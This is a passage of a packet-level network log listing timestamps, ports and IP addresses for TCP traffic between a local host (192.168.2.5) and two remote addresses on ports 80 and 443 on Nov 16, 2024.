Nov 16, 2024 23:36:40.201292038 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201299906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201307058 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201334000 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201338053 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201366901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201376915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201400042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201402903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201430082 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201445103 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201466084 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201478004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201502085 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201529980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201534986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201555014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201566935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201570988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201610088 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201731920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201858997 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.201905966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.201956987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202003002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202008963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202052116 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202061892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202111959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202145100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202157021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202178955 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202208996 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202224016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202269077 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202302933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202312946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202336073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202357054 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202370882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202382088 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202441931 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202462912 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202497959 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202506065 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202527046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202536106 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202636003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202637911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202682018 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202712059 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.202759981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202783108 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.202807903 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202819109 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.202840090 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.202841043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202888012 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.202888966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202893972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202923059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.202945948 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.202945948 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.202974081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203032017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203067064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203077078 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203109026 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203118086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203150988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203171968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203202009 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203206062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203253984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203260899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203298092 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203332901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203387022 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203416109 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203424931 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203438997 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203473091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203516960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203524113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203557968 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203603029 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203608990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203640938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203649998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203681946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203694105 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203738928 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203747034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203780890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203788996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203810930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203824043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203850985 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203866005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203900099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203929901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.203943968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203963041 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.203983068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204037905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204041004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204071999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204109907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204125881 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204143047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204158068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204178095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204210997 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204219103 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204245090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204250097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204277039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204292059 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204310894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204324961 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204340935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204353094 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204374075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204407930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204415083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204436064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204447031 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204468966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204504013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204514980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204535961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204541922 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204570055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204571962 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204602957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204613924 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204636097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204643011 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204668045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204675913 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204703093 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204708099 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204735041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204742908 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204775095 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204874992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204909086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204931974 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204943895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.204950094 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.204977989 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.205019951 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.205193043 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.205193043 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.205208063 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.205219030 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.209067106 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.209105968 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.209197044 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.209350109 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.209363937 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.219456911 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.219511032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.219543934 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.219562054 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.219578028 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.219608068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.219629049 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288265944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288281918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288297892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288315058 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288321972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288338900 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288361073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288364887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288378000 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288382053 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288400888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288410902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288417101 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288434029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288444042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288454056 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288455009 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288460016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288470030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288487911 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288502932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288640976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288650990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288661003 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288686037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288698912 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288706064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288716078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288727999 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288747072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288762093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288770914 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288778067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288799047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288834095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288846016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288867950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288906097 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.288914919 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.288950920 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289021969 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289051056 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289077044 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289094925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289103031 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289139032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289185047 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289191008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289242029 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289249897 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289275885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289308071 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289329052 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289338112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289355040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289386988 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289390087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289424896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289438009 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289458036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289465904 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289493084 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289500952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289526939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289541006 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289580107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289629936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289634943 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289664984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289674997 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289696932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289709091 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289735079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289767981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289789915 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289802074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289834023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289849997 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289868116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289870977 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289902925 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289907932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289937019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289943933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.289969921 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.289982080 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290013075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290023088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290052891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290087938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290096998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290144920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290178061 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290189981 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290226936 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290230036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290282965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290332079 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290337086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290369987 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290405035 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290416002 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290447950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290455103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290493965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290522099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290538073 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290563107 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290571928 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290627956 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290652037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290658951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290672064 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290700912 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290707111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290744066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290751934 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290776968 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290790081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290826082 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290828943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290863037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290884972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290906906 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290914059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.290965080 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.290966988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291018963 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291028976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291076899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291081905 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291093111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291107893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291115999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291121960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291136980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291145086 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291146040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291165113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291171074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291179895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291192055 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291196108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291199923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291210890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291219950 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291225910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291234016 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291244984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291249990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291265011 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291270971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291285992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291290045 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291300058 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291304111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291327953 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291330099 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291337013 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291342974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291352034 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291363955 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291368961 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291378021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291383028 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291388988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291397095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291409969 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291412115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291423082 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.291429996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.291434050 CET	80	49824	185.215.113.206	192.168.2.5
